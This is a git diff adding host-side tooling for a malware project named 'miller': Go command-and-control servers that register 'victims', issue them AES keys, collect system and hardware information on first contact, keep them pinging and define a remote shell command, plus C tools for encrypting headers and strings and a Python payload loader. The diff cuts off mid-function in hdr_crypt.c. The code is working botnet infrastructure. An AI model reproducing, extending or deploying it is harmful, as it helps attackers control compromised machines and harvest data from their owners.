diff options
Diffstat (limited to 'source/tools/host')
-rw-r--r-- | source/tools/host/CMakeLists.txt | 106 | ||||
-rw-r--r-- | source/tools/host/go/cnclib/miller_consts.go | 98 | ||||
-rw-r--r-- | source/tools/host/go/cnclib/miller_victim.go | 165 | ||||
-rw-r--r-- | source/tools/host/go/cncmaster/Makefile | 37 | ||||
m--------- | source/tools/host/go/cncmaster/deps/src/github.com/gorilla/mux | 0 | ||||
-rw-r--r-- | source/tools/host/go/cncmaster/http.go | 29 | ||||
-rw-r--r-- | source/tools/host/go/cncmaster/main.go | 31 | ||||
-rw-r--r-- | source/tools/host/go/cncproxy/Makefile | 42 | ||||
m--------- | source/tools/host/go/cncproxy/deps/src/github.com/gorilla/mux | 0 | ||||
m--------- | source/tools/host/go/cncproxy/deps/src/github.com/zhuangsirui/binpacker | 0 | ||||
-rw-r--r-- | source/tools/host/go/cncproxy/http.go | 224 | ||||
-rw-r--r-- | source/tools/host/go/cncproxy/main.go | 48 | ||||
-rw-r--r-- | source/tools/host/go/cncproxy/manager.go | 84 | ||||
-rw-r--r-- | source/tools/host/hdr_crypt.c | 417 | ||||
-rw-r--r-- | source/tools/host/old/file_crypt.c | 802 | ||||
-rw-r--r-- | source/tools/host/old/pyhttp.c | 188 | ||||
-rw-r--r-- | source/tools/host/pycrypt.c | 250 | ||||
-rw-r--r-- | source/tools/host/pyloader.c | 114 |
18 files changed, 2635 insertions, 0 deletions
diff --git a/source/tools/host/CMakeLists.txt b/source/tools/host/CMakeLists.txt new file mode 100644 index 0000000..4acadcc --- /dev/null +++ b/source/tools/host/CMakeLists.txt @@ -0,0 +1,106 @@ +cmake_minimum_required(VERSION 2.8) +set(SYSROOT_DIR ../../../deps/sysroot/bin) +set(TOOLCHAIN_PREFIX ${CMAKE_SOURCE_DIR}/${SYSROOT_DIR}) +set(CMAKE_C_COMPILER ${TOOLCHAIN_PREFIX}/gcc) +set(CMAKE_LINKER ${TOOLCHAIN_PREFIX}/ld) +set(CMAKE_CXX_COMPILER false) +set(CMAKE_CXX_LINK_EXECUTABLE false) +set(CMAKE_RC_COMPILER_INIT false) +project(host-tools C) +set(CMAKE_VERBOSE_MAKEFILE ON) +set(CMAKE_RULE_MESSAGES OFF) + +set(CMAKE_C_FLAGS "-Wall -std=gnu99 -g -D_GNU_SOURCE=1 -D_NO_COMPAT=1 -D_NO_UTILS=1 -D_HOST_TOOLS=1") + +set(MILLER_DEFAULT_SRCDIR ${CMAKE_SOURCE_DIR}/../.. CACHE INTERNAL "" FORCE) +set(MILLER_DEFAULT_HDRDIR ${CMAKE_SOURCE_DIR}/../../../include CACHE INTERNAL "" FORCE) +set(MILLER_DEFAULT_TOOLSDIR ${CMAKE_SOURCE_DIR}/.. CACHE INTERNAL "" FORCE) + +message(STATUS "CMAKE_C_COMPILER: ${CMAKE_C_COMPILER}") +message(STATUS "CMAKE_LINKER: ${CMAKE_LINKER}") +message(STATUS "CMAKE_C_LINK_EXECUTABLE: ${CMAKE_C_LINK_EXECUTABLE}") + +if (NOT MILLER_SRCDIR) + message(AUTHOR_WARNING "MILLER_SRCDIR: missing, using default ${MILLER_DEFAULT_SRCDIR}") + set(MILLER_SRCDIR ${MILLER_DEFAULT_SRCDIR}) +else() + message(STATUS "MILLER_SRCDIR: ${MILLER_SRCDIR}") +endif() + +if (NOT MILLER_TOOLSDIR) + message(AUTHOR_WARNING "MILLER_TOOLSDIR: missing") + set(MILLER_TOOLSDIR ${MILLER_DEFAULT_TOOLSDIR}) +else() + message(STATUS "MILLER_TOOLSDIR: ${MILLER_TOOLSDIR}") +endif() + +if (NOT MILLER_HDRDIR) + message(AUTHOR_WARNING "MILLER_HDRDIR: missing") + set(MILLER_HDRDIR ${MILLER_DEFAULT_HDRDIR}) +else() + message(STATUS "MILLER_HDRDIR: ${MILLER_HDRDIR}") +endif() + +if (NOT MILLER_HDRDIR_CREATED) + message(FATAL_ERROR "MILLER_HDRDIR_CREATED: missing") +endif() + +if (NOT LOADER_ENDMARKER) + message(FATAL_ERROR "LOADER_ENDMARKER: missing") +else() + message(STATUS "LOADER_ENDMARKER: ${LOADER_ENDMARKER}") +endif() + +if (NOT PYTHON_INCDIR) + message(FATAL_ERROR "PYTHON_INCDIR: missing") +else() + message(STATUS "PYTHON_INCDIR: ${PYTHON_INCDIR}") +endif() + +message(STATUS "INSTALL_DEST: ${INSTALL_DEST}") + + +set(CRYPT_SRC ${MILLER_SRCDIR}/aes.c ${MILLER_SRCDIR}/crypt.c ${MILLER_SRCDIR}/utils.c hdr_crypt.c) +set(STRINGS_SRC ${MILLER_SRCDIR}/crypt_strings.c ${MILLER_SRCDIR}/crypt.c ${MILLER_SRCDIR}/utils.c ${MILLER_TOOLSDIR}/helper.c) + + +add_executable(hdr_crypt-host ${CRYPT_SRC}) +target_include_directories(hdr_crypt-host PRIVATE ${MILLER_HDRDIR} ${MILLER_TOOLSDIR}) + + +add_executable(strings-host ${STRINGS_SRC}) +target_include_directories(strings-host PRIVATE ${MILLER_HDRDIR} ${MILLER_HDRDIR_CREATED} ${MILLER_TOOLSDIR}) +target_compile_definitions(strings-host PRIVATE _PRE_RELEASE=1 _STRINGS_BIN=1) + + +add_library(pyloader SHARED ${MILLER_TOOLSDIR}/helper.c pyloader.c) +target_include_directories(pyloader PRIVATE ${PYTHON_INCDIR} ${MILLER_HDRDIR} ${MILLER_TOOLSDIR}) +target_compile_definitions(pyloader PRIVATE _USE_PYTHON=1 _LOADER_ENDMARKER=${LOADER_ENDMARKER}) +set_target_properties(pyloader PROPERTIES PREFIX "") +set_target_properties(pyloader PROPERTIES COMPILE_FLAGS "-fPIC -O2 -shared -Wextra -Wno-unused-parameter") + + +add_library(pycrypt SHARED ${MILLER_SRCDIR}/utils.c ${MILLER_SRCDIR}/crypt.c ${MILLER_SRCDIR}/aes.c ${MILLER_TOOLSDIR}/helper.c pycrypt.c) +target_include_directories(pycrypt PRIVATE ${PYTHON_INCDIR} ${MILLER_HDRDIR} ${MILLER_TOOLSDIR}) +target_compile_definitions(pycrypt PRIVATE _USE_PYTHON=1) +set_target_properties(pycrypt PROPERTIES PREFIX "") +set_target_properties(pycrypt PROPERTIES COMPILE_FLAGS "-fPIC -O2 -shared -Wextra -Wno-unused-parameter -Wno-sign-compare") + + +macro(host_tools_install target destdir) + set(${target}_FILE "${destdir}/${target}") + + add_custom_command(OUTPUT ${${target}_FILE} /force-run + COMMAND ${CMAKE_COMMAND} -E copy_if_different "$<TARGET_FILE:${target}>" "${${target}_FILE}" + ) + add_custom_target(${target}-install + ALL + DEPENDS ${target} ${${target}_FILE} + ) + add_dependencies(${target}-install ${target}) +endmacro() + +host_tools_install(hdr_crypt-host ${INSTALL_DEST}) +host_tools_install(pyloader ${INSTALL_DEST}) +host_tools_install(pycrypt ${INSTALL_DEST}) +host_tools_install(strings-host ${INSTALL_DEST}) diff --git a/source/tools/host/go/cnclib/miller_consts.go b/source/tools/host/go/cnclib/miller_consts.go new file mode 100644 index 0000000..388c25c --- /dev/null +++ b/source/tools/host/go/cnclib/miller_consts.go @@ -0,0 +1,98 @@ +package miller + +import ( + "fmt" +) + + +const KEY_256 uint8 = (256/8) +const MARKER_SIZ uint8 = 8 +const AESKEY_SIZ uint8 = 32 +const HW_PROFILE_GUIDLEN uint8 = 39 +const MAX_PROFILE_LEN uint8 = 80 + +const RF_INITIAL uint8 = 0x00 +const RF_AGAIN uint8 = 0x41 +const RF_ERROR uint8 = 0x42 +const RF_OK uint8 = 0x66 + +const RC_INFO uint16 = 0xACAB +const RC_REGISTER uint16 = 0xAABB +const RC_PING uint16 = 0x0043 +const RC_SHELL uint16 = 0x0044 + +func RCtoString(rc uint16) string { + switch rc { + case RC_INFO: + return "RC_INFO" + case RC_REGISTER: + return "RC_REGISTER" + case RC_PING: + return "RC_PING" + case RC_SHELL: + return "RC_SHELL" + default: + return "UNKNOWN" + } +} + +type HttpResp struct { + StartMarker [MARKER_SIZ]byte + RespFlags uint8 + RespCode uint16 + Pkgsiz uint32 + Pkgbuf []byte +} + +func (hr *HttpResp) String() string { + return fmt.Sprintf("Marker: '%s', Flags: 0x%04X, Code: 0x%04X, " + + "PKGSIZ: 0x%04X, PKGBUF: '%v'", + hr.StartMarker, hr.RespFlags, hr.RespCode, + hr.Pkgsiz, hr.Pkgbuf) +} + +type RespRegister struct { + Aeskey [AESKEY_SIZ]byte + NextPing uint32 +} + +type RespPong struct { + NextPing uint32 +} + +type RespShell struct { + Operation uint8 + Showcmd uint8 + FileLen uint16 + ParamLen uint16 + DirLen uint16 + Data []byte +} + +type SYSTEM_INFO_32 struct { + ProcessorArchitecture uint16 + Reserved uint16 + PageSize uint32 + MinimumApplicationAddress uint32 + MaximumApplicationAddress uint32 + ActiveProcessorMask uint32 + NumberOfProcessors uint32 + ProcessorType uint32 + AllocationGranularity uint32 + ProcessorLevel uint16 + ProcessorRevision uint16 +} + +type HW_PROFILE_INFOA struct { + DockInfo uint32 + HwProfileGuid [HW_PROFILE_GUIDLEN]byte + HwProfileName [MAX_PROFILE_LEN]byte +} + +type ReqInfo struct { + SI SYSTEM_INFO_32 + HW HW_PROFILE_INFOA + CmdLineLen uint16 + DevsLen uint8 + Data []byte +} diff --git a/source/tools/host/go/cnclib/miller_victim.go b/source/tools/host/go/cnclib/miller_victim.go new file mode 100644 index 0000000..15f7917 --- /dev/null +++ b/source/tools/host/go/cnclib/miller_victim.go @@ -0,0 +1,165 @@ +package miller + +import ( + "github.com/zhuangsirui/binpacker" + + "fmt" + "time" + "encoding/json" + "encoding/binary" + //"encoding/hex" + "bytes" +) + + +type Victim struct { + Last_rf_rx uint8 `json:"LRFRX"` + Last_rc_rx uint16 `json:"LRCRX"` + Last_rf_tx uint8 `json:"LRFTX"` + Last_rc_tx uint16 `json:"LRCTX"` + Last_active time.Time `json:"LA"` + Last_json time.Time `json:"LJ"` + Aeskey [AESKEY_SIZ]byte `json:"AK"` + Requests uint `json:"REQS"` +} + + +func NewVictim() *Victim { + return &Victim{ 0, 0, 0, 0, time.Time{}, time.Time{}, [AESKEY_SIZ]byte{}, 0 } +} + +func (v *Victim) Reset() { + v.Last_rf_rx = 0 + v.Last_rf_rx = 0 +} + +func (v *Victim) String() string { + return fmt.Sprintf("last_rf_rx: 0x%04X, last_rc_rx: 0x%04X, last_rf_tx: 0x%04X, " + + "last_rc_tx: 0x%04X, aeskey: '%v', requests: %v", + v.Last_rf_rx, v.Last_rc_rx, v.Last_rf_tx, v.Last_rc_tx, v.Aeskey, v.Requests) +} + +func (v *Victim) ToJSON(debug_only bool) ([]byte, error) { + if !debug_only { + v.Last_json = time.Now() + } + return json.Marshal(v) +} + +func (v *Victim) FromJSON(json_input []byte) error { + return json.Unmarshal(json_input, v) +} + +func copySliceToArray(dest []byte, src []byte, siz int) error { + if len(src) != len(dest) { + return fmt.Errorf("parseValue: %d bytes (src) != %d bytes (dest)", len(src), len(dest)) + } + copied := copy(dest[:], src) + if copied != siz { + return fmt.Errorf("parseMarker: copied only %d instead of %d", copied, siz) + } + return nil +} + +func ParseMarker(dest *[MARKER_SIZ]byte, src []byte) error { + return copySliceToArray(dest[:], src, int(MARKER_SIZ)) +} + +func ParseMarkerResponse(response *HttpResp, src []byte) error { + return ParseMarker(&response.StartMarker, src) +} + +func ParseAESKey(dest *[AESKEY_SIZ]byte, src []byte) error { + return copySliceToArray(dest[:], src, int(AESKEY_SIZ)) +} + +func ParseAESKeyResponse(response *RespRegister, src []byte) error { + return ParseAESKey(&response.Aeskey, src) +} + +func (v *Victim) SetAESKey(aeskey []byte) error { + return ParseAESKey(&v.Aeskey, aeskey) +} + +func (v *Victim) HasAESKey() bool { + var nullkey [AESKEY_SIZ]byte + return !bytes.Equal(v.Aeskey[:], nullkey[:]) +} + +func (v *Victim) ParseRequest(dest []byte, response *HttpResp) error { + buffer := bytes.NewBuffer(dest) + unpacker := binpacker.NewUnpacker(binary.LittleEndian, buffer) + marker_bytearr, err := unpacker.ShiftBytes(uint64(MARKER_SIZ)) + if err != nil { + return fmt.Errorf("marker: %s", err) + } + if copy(response.StartMarker[:], marker_bytearr) != int(MARKER_SIZ) { + return fmt.Errorf("marker: copy failed") + } + v.Last_active = time.Now() + unpacker.FetchUint8(&response.RespFlags) + v.Last_rf_rx = response.RespFlags + unpacker.FetchUint16(&response.RespCode) + v.Last_rc_rx = response.RespCode + if !v.HasAESKey() { + v.Last_rc_rx = RC_REGISTER + } + unpacker.FetchUint32(&response.Pkgsiz) + response.Pkgbuf, err = unpacker.ShiftBytes(uint64(response.Pkgsiz)) + if err != nil { + return fmt.Errorf("pkgbuf: %s", err) + } + v.Requests++ + return nil +} + +func (v *Victim) buildResponse(response *HttpResp, dest []byte) ([]byte, error) { + buffer := bytes.Buffer{} + packer := binpacker.NewPacker(binary.LittleEndian, &buffer) + packer.PushBytes(response.StartMarker[:]) + packer.PushUint8(response.RespFlags) + v.Last_rf_tx = response.RespFlags + packer.PushUint16(response.RespCode) + v.Last_rc_tx = response.RespCode + packer.PushUint32(response.Pkgsiz) + packer.PushBytes(response.Pkgbuf) + err := packer.Error() + if err != nil { + v.Reset() + return nil, err + } + return append(dest, buffer.Bytes()...), nil +} + +func (v *Victim) BuildRegisterResponse(response *HttpResp, respreg *RespRegister, dest []byte) ([]byte, error) { + buffer := bytes.Buffer{} + packer := binpacker.NewPacker(binary.LittleEndian, &buffer) + packer.PushBytes(respreg.Aeskey[:]) + packer.PushUint32(respreg.NextPing) + err := packer.Error() + if err != nil { + return nil, err + } + response.Pkgsiz = uint32(len(buffer.Bytes())) + response.Pkgbuf = buffer.Bytes() + return v.buildResponse(response, dest) +} + +func (v *Victim) BuildPongResponse(response *HttpResp, respong *RespPong, dest []byte) ([]byte, error) { + buffer := bytes.Buffer{} + packer := binpacker.NewPacker(binary.LittleEndian, &buffer) + packer.PushUint32(respong.NextPing) + err := packer.Error() + if err != nil { + return nil, err + } + response.Pkgsiz = uint32(len(buffer.Bytes())) + response.Pkgbuf = buffer.Bytes() + return v.buildResponse(response, dest) +} + +func (v *Victim) BuildInfoResponse(response *HttpResp, dest []byte) ([]byte, error) { + response.Pkgsiz = 0 + response.Pkgbuf = nil + return v.buildResponse(response, dest) +} diff --git a/source/tools/host/go/cncmaster/Makefile b/source/tools/host/go/cncmaster/Makefile new file mode 100644 index 0000000..7f026da --- /dev/null +++ b/source/tools/host/go/cncmaster/Makefile @@ -0,0 +1,37 @@ +GOCC ?= go +RM ?= rm +GOPATH := $(shell realpath ./deps) +INSTALL ?= install +DESTDIR ?= . +BIN := cncmaster +ifeq ($(strip $(GOARCH)),) +BIN := $(BIN)-host +else +BIN := $(BIN)-$(GOARCH)$(GOARM) +endif +SRCS := main.go http.go +DEP_MUX := deps/src/github.com/gorilla/mux/mux.go + +all: $(BIN) + +%.go: + +$(DEP_MUX): + GOPATH=$(GOPATH) $(GOCC) get -v -u github.com/gorilla/mux + +$(BIN): $(DEP_MUX) $(SRCS) +ifeq ($(strip $(IS_GCCGO)),) + GOPATH=$(GOPATH) $(GOCC) build -ldflags="-s -w" -o $(BIN) . +else + GOPATH=$(GOPATH) $(GOCC) build -gccgoflags="-s -w -pthread" -o $(BIN) . +endif + +$(BIN)-install: $(BIN) + $(INSTALL) -D $(BIN) $(DESTDIR)/$(BIN) + +install: $(BIN)-install + +clean: + $(RM) -f $(BIN) $(DESTDIR)/$(BIN) + +.PHONY: all diff --git a/source/tools/host/go/cncmaster/deps/src/github.com/gorilla/mux b/source/tools/host/go/cncmaster/deps/src/github.com/gorilla/mux new file mode 160000 +Subproject d83b6ffe499a29cc05fc977988d039285177962 diff --git a/source/tools/host/go/cncmaster/http.go b/source/tools/host/go/cncmaster/http.go new file mode 100644 index 0000000..a9648ce --- /dev/null +++ b/source/tools/host/go/cncmaster/http.go @@ -0,0 +1,29 @@ +package main + +import ( + "github.com/gorilla/mux" + + "log" + "net/http" +) + + +func miller_http_handler(w http.ResponseWriter, r *http.Request) { + params := mux.Vars(r) + sid, ok := params["sid"] + if !ok { + return + } + marker, ok := params["marker"] + if !ok { + return + } + rnd, ok := params["rnd"] + if !ok { + return + } + + log.Printf("SID '%s' with MARKER '%s' and RND '%s'", sid, marker, rnd) + + w.Write([]byte("Hello!")) +} diff --git a/source/tools/host/go/cncmaster/main.go b/source/tools/host/go/cncmaster/main.go new file mode 100644 index 0000000..1845800 --- /dev/null +++ b/source/tools/host/go/cncmaster/main.go @@ -0,0 +1,31 @@ +package main + +import ( + "github.com/gorilla/mux" + + "log" + "net/http" +) + + +const verbose = true +const listen_tpl = "127.0.0.1:8081" + +func main() { + rtr := mux.NewRouter() + rtr.HandleFunc("/.miller_{sid:[a-zA-Z0-9]{32}}_{marker:[a-zA-Z0-9]{8}}_{rnd:[a-zA-Z0-9]{64}}", miller_http_handler).Methods("POST") + + http.Handle("/", rtr) + + log.Println("CNCMASTER: Listening on " + listen_tpl + "...") + http.ListenAndServe(listen_tpl, logRequest(http.DefaultServeMux)) +} + +func logRequest(handler http.Handler) http.Handler { + return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + if verbose { + log.Printf("%s %s %s\n", r.RemoteAddr, r.Method, r.URL) + } + handler.ServeHTTP(w, r) + }) +} diff --git a/source/tools/host/go/cncproxy/Makefile b/source/tools/host/go/cncproxy/Makefile new file mode 100644 index 0000000..44e3b32 --- /dev/null +++ b/source/tools/host/go/cncproxy/Makefile @@ -0,0 +1,42 @@ +GOCC ?= go +RM ?= rm +GOPATH := $(shell realpath ./deps) +INSTALL ?= install +DESTDIR ?= . +BIN := cncproxy +ifeq ($(strip $(GOARCH)),) +BIN := $(BIN)-host +else +BIN := $(BIN)-$(GOARCH)$(GOARM) +endif +SRCS := main.go manager.go http.go +DEP_CNCLIB := ../cnclib/miller_consts.go ../cnclib/miller_victim.go +DEP_MUX := deps/src/github.com/gorilla/mux/mux.go +DEP_PACKER := deps/src/github.com/zhuangsirui/binpacker/packer.go + +all: $(BIN) + +%.go: + +$(DEP_MUX): + GOPATH=$(GOPATH) $(GOCC) get -v -u github.com/gorilla/mux + +$(DEP_PACKER): + GOPATH=$(GOPATH) $(GOCC) get -v github.com/zhuangsirui/binpacker + +$(BIN): $(DEP_MUX) $(DEP_PACKER) $(DEP_CNCLIB) $(SRCS) +ifeq ($(strip $(IS_GCCGO)),) + GOPATH=$(GOPATH) $(GOCC) build -ldflags="-s -w" -o $(BIN) . +else + GOPATH=$(GOPATH) $(GOCC) build -gccgoflags="-s -w -pthread" -o $(BIN) . +endif + +$(BIN)-install: $(BIN) + $(INSTALL) -D $(BIN) $(DESTDIR)/$(BIN) + +install: $(BIN)-install + +clean: + $(RM) -f $(BIN) $(DESTDIR)/$(BIN) + +.PHONY: all diff --git a/source/tools/host/go/cncproxy/deps/src/github.com/gorilla/mux b/source/tools/host/go/cncproxy/deps/src/github.com/gorilla/mux new file mode 160000 +Subproject d83b6ffe499a29cc05fc977988d039285177962 diff --git a/source/tools/host/go/cncproxy/deps/src/github.com/zhuangsirui/binpacker b/source/tools/host/go/cncproxy/deps/src/github.com/zhuangsirui/binpacker new file mode 160000 +Subproject 08a1b297435a414bec3ccf4215ff546dba41815 diff --git a/source/tools/host/go/cncproxy/http.go b/source/tools/host/go/cncproxy/http.go new file mode 100644 index 0000000..8e82662 --- /dev/null +++ b/source/tools/host/go/cncproxy/http.go @@ -0,0 +1,224 @@ +package main + +import ( + "../cnclib" + "github.com/gorilla/mux" + + "fmt" + "log" + "io" + "net/http" + "encoding/binary" + "encoding/hex" + "crypto/rand" + "bytes" +) + + +func miller_to_master(v *miller.Victim, url *string) error { + _, err := v.ToJSON(false) + if err != nil { + return err + } + return nil +} + +func miller_http_request(v *miller.Victim, r *http.Request) (bool, error) { + var valid bool + var req miller.HttpResp + var err error + read_form, err := r.MultipartReader() + if err != nil { + return false, err + } + + for { + part, err := read_form.NextPart() + if err == io.EOF { + break + } + + if part.FormName() == "upload" { + buf := new(bytes.Buffer) + buf.ReadFrom(part) + if verbose { + log.Printf("Request (upload; %d bytes):\n%s", len(buf.String()), hex.Dump(buf.Bytes())) + } + err = v.ParseRequest(buf.Bytes(), &req) + if err != nil { + return false, err + } + if verbose { + log.Printf("HTTP REQUEST(%v)", &req) + } + valid = true + } + } + + if !valid { + return false, nil + } + return true, nil +} + +func miller_randbytes(n int) ([]byte, error) { + b := make([]byte, n) + _, err := rand.Read(b) + if err != nil { + return nil, err + } + + return b, nil +} + +func miller_state_machine(v *miller.Victim, marker *string) ([]byte, error) { + var err error + var buffer []byte + var resp miller.HttpResp + + err = miller.ParseMarkerResponse(&resp, []byte(*marker)) + if err != nil { + return nil, err + } + + log.Printf("Miller state machine got a '%s'", miller.RCtoString(v.Last_rc_rx)) + switch v.Last_rc_rx { + case miller.RC_REGISTER: + resp.RespFlags = miller.RF_OK + resp.RespCode = miller.RC_REGISTER + resp_reg, err := NewRegisterResponse(5, v) + if err != nil { + return nil, err + } + buffer, err = v.BuildRegisterResponse(&resp, resp_reg, buffer) + if err != nil { + return nil, err + } + if v.Last_rf_rx == miller.RF_INITIAL && v.Requests == 1 { + log.Printf("FIRST CONTACT: Grabbing some information !!") + resp.RespFlags = miller.RF_AGAIN + resp.RespCode = miller.RC_INFO + buffer, err = v.BuildInfoResponse(&resp, buffer) + } + break + case miller.RC_INFO: + resp.RespFlags = miller.RF_OK + resp.RespCode = miller.RC_PING + resp_pong := NewPongResponse(5) + buffer, err = v.BuildPongResponse(&resp, &resp_pong, buffer) + if err != nil { + return nil, err + } + break + case miller.RC_PING: + resp.RespFlags = miller.RF_OK + resp.RespCode = miller.RC_PING + resp_pong := NewPongResponse(5) + buffer, err = v.BuildPongResponse(&resp, &resp_pong, buffer) + if err != nil { + return nil, err + } + break + default: + return nil, fmt.Errorf("invalid response code 0x%04X", v.Last_rc_rx) + } + + return buffer, nil +} + +func miller_http_handler(w http.ResponseWriter, r *http.Request) { + params := mux.Vars(r) + sid, ok := params["sid"] + if !ok { + return + } + marker, ok := params["marker"] + if !ok { + return + } + rnd, ok := params["rnd"] + if !ok { + return + } + + fake_resp := miller.HttpResp{} + if r.ContentLength < int64(binary.Size(fake_resp)) { + log.Printf("Fake response has invalid size.") + http.NotFound(w, r) + return + } + + if verbose { + log.Printf("---------- %s ----------", "REQUEST") + } + log.Printf("SID '%s' with MARKER '%s' and RND '%s'", sid, marker, rnd) + + var err error + var v *miller.Victim + v = mgr.GetVictim(&sid) + if v == nil { + v = miller.NewVictim() + mgr.SetVictim(v, &sid) + } + if !mgr.PushVictim(&sid) { + log.Printf("ERROR Victim is already known to the Manager!") + http.NotFound(w, r) + return + } + + valid, err := miller_http_request(v, r) + if err != nil { + log.Printf("ERROR miller_http_request: '%s'", err) + } + if !valid { + log.Printf("ERROR Victim HTTP Request was invalid!") + http.NotFound(w, r) + return + } + + buffer, err := miller_state_machine(v, &marker) + if err != nil { + log.Printf("ERROR miller_state_machine: '%s'", err) + } + if buffer == nil { + log.Printf("ERROR binary buffer was empty after miller_state_machine") + http.NotFound(w, r) + return + } + + if v.Last_rc_rx == miller.RC_REGISTER && v.Requests > 1 { + log.Printf("WARNING: Victim '%s' RE-REGISTERED !!", sid) + } + + if verbose { + log.Printf("Response (%d bytes):\n%s", len(buffer), hex.Dump(buffer)) + log.Printf("VICTIM STATE(%s)", v) + json_out, err := v.ToJSON(true) + if err == nil { + log.Printf("VICTIM JSON(%s)", string(json_out)) + } + log.Printf("---------- %s ----------", "EoF REQUEST/RESPONSE") + } + + mgr.PopVictim(&sid) + + w.Write(buffer) +} + +func NewRegisterResponse(next_ping uint32, victim *miller.Victim) (*miller.RespRegister, error) { + respreg := miller.RespRegister{ [miller.AESKEY_SIZ]byte{}, next_ping } + aeskey, err := miller_randbytes(int(miller.KEY_256)) + if err != nil { + return nil, err + } + err = miller.ParseAESKeyResponse(&respreg, aeskey) + if err != nil { + return nil, err + } + victim.SetAESKey(aeskey) + return &respreg, nil +} + +func NewPongResponse(next_ping uint32) miller.RespPong { + return miller.RespPong{ next_ping } +} diff --git a/source/tools/host/go/cncproxy/main.go b/source/tools/host/go/cncproxy/main.go new file mode 100644 index 0000000..b5cc9ef --- /dev/null +++ b/source/tools/host/go/cncproxy/main.go @@ -0,0 +1,48 @@ +package main + +import ( + "github.com/gorilla/mux" + + "flag" + "log" + "net/http" +) + + +var mgr manager +var verbose bool + +const default_listen_tpl = "127.0.0.1:8080" +const default_master_tpl = "127.0.0.1:8081" +const default_verbose = false + + +func main() { + listen_tpl := flag.String("listen", default_listen_tpl, + "CNCProxy listen address.") + master_tpl := flag.String("master", default_master_tpl, + "CNCMaster connect address.") + verbose = *flag.Bool("verbose", default_verbose, + "CNCProxy verbose mode") + flag.Parse() + + mgr = NewManager() + rtr := mux.NewRouter() + /* /.miller_pahhj0099wjtu87vdgtl8fq8k4zmh0is_sbmkuj97_rg38n6bop9m5htrbeyyx0ljx26gbjxdx5nztp4a1wfowdsyyqnzts0r440logk91 */ + rtr.HandleFunc("/.miller_{sid:[a-zA-Z0-9]{32}}_{marker:[a-zA-Z0-9]{8}}_{rnd:[a-zA-Z0-9]{64}}", miller_http_handler).Methods("POST") + + http.Handle("/", rtr) + + log.Println("CNCProxy: Listening on " + *listen_tpl + "...") + log.Println("CNCProxy: Forwarding to CNCMaster at " + *master_tpl) + log.Fatal(http.ListenAndServe(*listen_tpl, logRequest(http.DefaultServeMux))) +} + +func logRequest(handler http.Handler) http.Handler { + return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + if verbose { + log.Printf("%s %s %s\n", r.RemoteAddr, r.Method, r.URL) + } + handler.ServeHTTP(w, r) + }) +} diff --git a/source/tools/host/go/cncproxy/manager.go b/source/tools/host/go/cncproxy/manager.go new file mode 100644 index 0000000..cd778be --- /dev/null +++ b/source/tools/host/go/cncproxy/manager.go @@ -0,0 +1,84 @@ +package main + +import ( + "../cnclib" + + "sync" +) + +type victim_data struct { + v *miller.Victim + in_use bool + lock sync.Mutex +} + +type manager struct { + victims map[string]victim_data + lock sync.Mutex +} + + +func NewManager() manager { + return manager{ make(map[string]victim_data), sync.Mutex{} } +} + +func (m *manager) SetVictim(v *miller.Victim, sid *string) { + m.lock.Lock() + defer m.lock.Unlock() + vd := victim_data{} + vd.v = v + m.victims[*sid] = vd +} + +func (m *manager) getVictim(sid *string) *victim_data { + m.lock.Lock() + defer m.lock.Unlock() + ret, ok := m.victims[*sid] + if ok { + return &ret + } + return nil +} + +func (m *manager) GetVictim(sid *string) *miller.Victim { + vd := m.getVictim(sid) + if vd == nil { + return nil + } + if !m.VictimInUse(sid) { + return vd.v + } + return nil +} + +func (m *manager) VictimInUse(sid *string) bool { + vd := m.getVictim(sid) + if vd == nil { + return false + } + vd.lock.Lock() + defer vd.lock.Unlock() + return vd.in_use +} + +func (m *manager) PushVictim(sid *string) bool { + if m.VictimInUse(sid) { + return false + } + vd := m.getVictim(sid) + vd.lock.Lock() + defer vd.lock.Unlock() + vd.in_use = true + return true +} + +func (m *manager) PopVictim(sid *string) bool { + if !m.VictimInUse(sid) { + return false + } + vd := m.getVictim(sid) + vd.lock.Lock() + defer vd.lock.Unlock() + vd.in_use = false + return true +} diff --git a/source/tools/host/hdr_crypt.c b/source/tools/host/hdr_crypt.c new file mode 100644 index 0000000..2461351 --- /dev/null +++ b/source/tools/host/hdr_crypt.c @@ -0,0 +1,417 @@ +#include <stdio.h> +#include <stdlib.h> +#include <unistd.h> +#include <string.h> +#include <ctype.h> +#include <time.h> + +#include "utils.h" +#include "crypt.h" +#include "aes.h" + +#define MAX_LINE 65535 + + +static aes_ctx_t* ctx = NULL; +static unsigned char aeskey[KEY_256]; +static uint32_t xorkey; +static unsigned xor_align = 4; + + +char* alignedCopyBuffer(char* orig, unsigned* orig_len, unsigned alignment) +{ + unsigned pad = *orig_len % alignment; + unsigned new_len = *orig_len + alignment - pad; + + char* out = calloc(new_len, sizeof(char)); + memcpy(out, orig, *orig_len); + + if (pad > 0) + out[*orig_len] = 0; + for (unsigned i = (*orig_len)+1; i < new_len; ++i) { + out[i] = (char)__rdtsc(); + } + *orig_len = new_len; + return out; +} + +enum defType { DT_DEFAULT, DT_SECTION, DT_ENDSECTION }; +struct defines { + struct defines* next; + enum defType dt; + char defName[0]; +}; +static struct defines* defs = NULL; + +void addDefineName(const char* line, enum defType type, struct defines** current) +{ + if (!current) return; + + const char* strb = strchr(line, ' '); + if (!strb) return; + + while (*(++strb) == ' ') {} + + char* stre = strchr(strb, ' '); + if (!stre) return; + + size_t len = stre - strb; + (*current)->next = calloc(sizeof(struct defines) + len + 1, 1); + (*current) = (*current)->next; + memcpy( &(*current)->defName[0], &strb[0], len ); + (*current)->dt = type; +} + +struct entOpts { + const char* fmt; + const char* com; + const char* ent; + const char* overw; +}; + +void writeOrAbort(const char* outbuf, int outsiz, FILE* outfile) +{ + size_t written = fwrite(outbuf, 1, outsiz, outfile); + if (written != outsiz) { + fprintf(stderr, "Error while writing \"%.*s\" to OUTPUT stream\n", (outsiz > 20 ? 20 : outsiz), outbuf); + abort(); + } +} + +int addStrEntry(FILE* outfile, const char* name, const struct defines* begin, const struct entOpts* opts, bool addSections) +{ + const char* name_section = NULL; + const struct defines* cur = begin; + while ( (cur = cur->next) ) { + char* outbuf = NULL; + int outsiz = 0; + + /* error checking */ + if (cur->dt == DT_SECTION && name_section && addSections) { + fprintf(stderr, "Found SECTION \"%s\" without ENDSECTION for \"%s\"\n", &cur->defName[0], name_section); + return 1; + } + if (cur->dt == DT_ENDSECTION && !name_section && addSections) { + fprintf(stderr, "Found ENDSECTION \"%s\" without ECTION for \"%s\"\n", &cur->defName[0], name_section); + return 2; + } + + /* prepare output buffer */ + if 